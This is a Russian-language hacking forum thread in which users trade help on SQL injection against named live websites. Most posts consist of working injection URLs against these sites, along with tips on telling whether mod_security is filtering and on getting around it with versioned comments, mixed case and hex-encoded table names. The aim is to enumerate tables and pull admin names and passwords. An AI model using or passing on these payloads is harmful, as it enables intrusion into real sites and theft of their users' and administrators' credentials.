Ваши вопросы по уязвимостям.

вот в режиме онлайн http://fiascowines.ca/images/gallery/scan.php?

 

Фильтруется этот параметр? Чем можно заменить?

Code:

group_concat(table_name+separator+0x7c)+from+information_schema.tables+where+table_schema=

 

скажи что именно фильтруется

 

Konqi, что именно не могу понять, как проверить?

 

А что именно то у тебя фильтруется???мб доступа нету к схеме?

 

Потести разные словa,

union, select, group_concat, table_name, и т.п.

ошибка - не фильтрирует
forbidden - фильтрирует

если конечно это mod_security

 

Konqi, Вот так пропускает /*!UnIoN+SeLeCt*/ ошибки нет...
Как остальные запросы фильтровать?

 

https://forum.antichat.ru/showpost.php?p=2289579&postcount=14624

 

обход тем же способом что и union select

https://forum.antichat.ru/threadnav46016-1343-10.html

 

Посмотрите пожалуйста фильтр, попробовал не получилось вывести таблицы...

Code:

http://www.maxxhits.com/index.php?phr=Shopping&cid=14&id=-5+/*!UnIoN+SeLeCt*/+1,version(),3,4,5,6,7--

 

http://www.maxxhits.com/index.php?phr=Shopping&cid=14&id=-5+/*!UnIoN+SeLeCt*/+1,table_name,3,4,5,6,7+from+information_schema.%60tables%60--

 

Допустим... хочу вывести все таблицы моим запросом group_concat(table_name+separator+0x7c)+from+infor mation_schema.tables+where+table_schema= как тут быть с фильтром?
Если можно сразу пример...

 

http://www.maxxhits.com/index.php?phr=Shopping&cid=14&id=-5+/*!UnIoN+SeLeCt*/+1,group_cOnCaT%28TabLe_naMe%29,3,4,5,6,7+from+information_schema.%60tables%60--

 

поправьте что не так.. не выводит данные

Code:

http://www.maxxhits.com/index.php?phr=Shopping&cid=14&id=-5+/*!UnIoN+SeLeCt*/+1,cOnCaT(name,0x3a,password),3,4,5,6,7+from+0x61646d696e--

 

название таблицы в хеше?

 

Seravin, да как видишь...

 

а может лучше мануал хоть один сначала прочитать прежде чем спрашивать?

 

Seravin, ты можешь помочь или только к манумалам можешь отправить?

 

так нельзя

2 seravin это не хэш это hex

 

2Konqi ну тоже верно) hex) но надо людей сначала отправлять читать мануалы, а то ж нифига не научаться если их на путь правильный наставлять.
P.S. Залазь в асю или вылазь из инвиза